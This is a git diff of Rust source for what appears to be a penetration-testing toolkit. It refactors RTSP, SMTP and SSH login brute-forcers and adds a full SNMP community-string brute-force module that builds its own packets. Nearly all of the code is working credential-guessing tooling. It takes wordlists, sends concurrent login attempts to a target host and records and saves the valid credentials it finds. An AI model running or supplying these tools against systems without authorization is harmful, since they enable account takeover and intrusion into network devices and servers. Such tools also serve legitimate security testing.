@@ -255,7 +302,8 @@ async fn try_rtsp_login(
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts failed: {}",
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
@@ -293,7 +341,7 @@ async fn try_rtsp_login(
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
@@ -302,10 +350,73 @@ async fn try_rtsp_login(
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
if host_part.is_empty() {
return Err(anyhow!("Target host cannot be empty."));
}
let normalized_host = if host_part.starts_with('[') {
if host_part.contains("]:") {
host_part.to_string()
} else {
format!("{}:{}", host_part, default_port)
}
} else {
let colon_count = host_part.matches(':').count();
if colon_count == 0 {
format!("{}:{}", host_part, default_port)
} else if colon_count == 1 {
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
if port_str.parse::<u16>().is_ok() {
if host_only.contains(':') {
format!("[{}]:{}", host_only, port_str)
} else {
host_part.to_string()
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("[{}]:{}", host_part, default_port)
}
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((normalized_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
+92 -13
View File
@@ -1,9 +1,12 @@
use anyhow::{Result, Context};
use anyhow::{anyhow, Context, Result};
use colored::Colorize;
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, Ordering};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
@@ -23,13 +26,13 @@ struct SmtpBruteforceConfig {
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let port = prompt_port(25);
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
let threads = prompt_threads(8);
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
let full_combo = prompt_yes_no("Try every username with every password?", false);
let verbose = prompt_yes_no("Verbose mode?", false);
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
@@ -48,10 +51,12 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("[*] Loaded {} username(s).", usernames.len());
println!("[*] Loaded {} password(s).", passwords.len());
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let stop_flag = Arc::new(AtomicBool::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
@@ -72,14 +77,14 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if stop_flag.load(Ordering::Relaxed) { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
stop_flag.store(true, Ordering::Relaxed);
while rx.try_recv().is_ok() {}
break;
}
@@ -203,7 +208,81 @@ fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
print!("{}", msg);
if let Err(e) = io::stdout().flush() {
eprintln!("[!] Failed to flush stdout: {}", e);
}
let mut b = String::new();
match io::stdin().read_line(&mut b) {
Ok(_) => b.trim().to_string(),
Err(e) => {
eprintln!("[!] Failed to read input: {}", e);
String::new()
}
}
}
fn prompt_port(default: u16) -> u16 {
loop {
let input = prompt(&format!("Port (default {}): ", default));
if input.is_empty() {
return default;
}
match input.parse::<u16>() {
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
Ok(port) => return port,
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
}
}
}
fn prompt_threads(default: usize) -> usize {
loop {
let input = prompt(&format!("Threads (default {}): ", default));
if input.is_empty() {
return default.max(1);
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return value;
}
}
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
if input.is_empty() {
return default_yes;
}
match input.to_lowercase().as_str() {
"y" | "yes" => return true,
"n" | "no" => return false,
_ => println!("[!] Please respond with y or n."),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message);
if response.is_empty() {
println!("[!] Path cannot be empty.");
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
@@ -0,0 +1,643 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{SocketAddr, UdpSocket},
path::{Path, PathBuf},
sync::Arc,
time::Duration,
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
pub async fn run(target: &str) -> Result<()> {
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SNMP Port", "161")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let communities_file = loop {
let input = prompt_required("Community string wordlist file path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
// Check if file is readable
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "50")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs: u64 = loop {
let input = prompt_default("Timeout (seconds)", "3")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty or invalid. Exiting.");
return Ok(());
}
let communities = Arc::new(communities);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No valid community strings found.");
} else {
println!("\n[+] Valid community strings:");
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, community) in creds.iter() {
writeln!(file, "{} -> community: '{}'", host, community)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Validate that the address can be resolved
formatted
.parse::<std::net::SocketAddr>()
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
+98 -83
View File
@@ -1,18 +1,17 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
net::{TcpStream, ToSocketAddrs},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration},
};
use std::sync::atomic::{AtomicBool, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
@@ -26,8 +25,8 @@ pub async fn run(target: &str) -> Result<()> {
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
@@ -47,97 +46,103 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let initial_addr = format!("{}:{}", target, port);
let connect_addr = format_host_port(&initial_addr)?;
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let stop = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", connect_addr);
let user_list = load_lines(&usernames_file)?;
if user_list.is_empty() {
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(user_list);
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<String> = pass_buf
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = Vec::new();
let mut user_cycle_idx = 0;
let users = Arc::new(users);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass_str in pass_lines {
if *stop.lock().await {
for pass in passwords {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
Box::new(users.iter().cloned())
let selected_users: Vec<String> = if combo_mode {
users.iter().cloned().collect()
} else {
if users.is_empty() {
Box::new(std::iter::empty())
Vec::new()
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
Box::new(std::iter::once(user))
vec![user]
}
};
for user_str in users_for_current_pass {
if *stop.lock().await {
if selected_users.is_empty() {
continue;
}
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let task_addr = connect_addr.clone();
let task_user = user_str;
let task_pass = pass_str.clone();
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let task = tokio::spawn(async move {
let _permit = permit;
if *stop_clone.lock().await {
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
tasks.push(task);
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
for task in tasks {
let _ = task.await;
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
@@ -186,36 +191,46 @@ async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<
Ok(result)
}
fn format_host_port(input: &str) -> Result<String> {
if input.starts_with('[') {
if let Some(end_bracket_idx) = input.find("]:") {
let host_part = &input[1..end_bracket_idx];
if !host_part.contains('[') && !host_part.contains(']') {
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
return Ok(input.to_string());
}
}
}
}
let (host_candidate, port_str) = match input.rfind(':') {
Some(idx) if idx > 0 => { // Ensure colon is not the first character
let (h, p) = input.split_at(idx);
(h, &p[1..]) // Strip colon from port part
}
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
};
if port_str.parse::<u16>().is_err() {
return Err(anyhow!("Invalid port in address: '{}'", input));
}
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
if stripped_host.contains(':') {
Ok(format!("[{}]:{}", stripped_host, port_str))
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
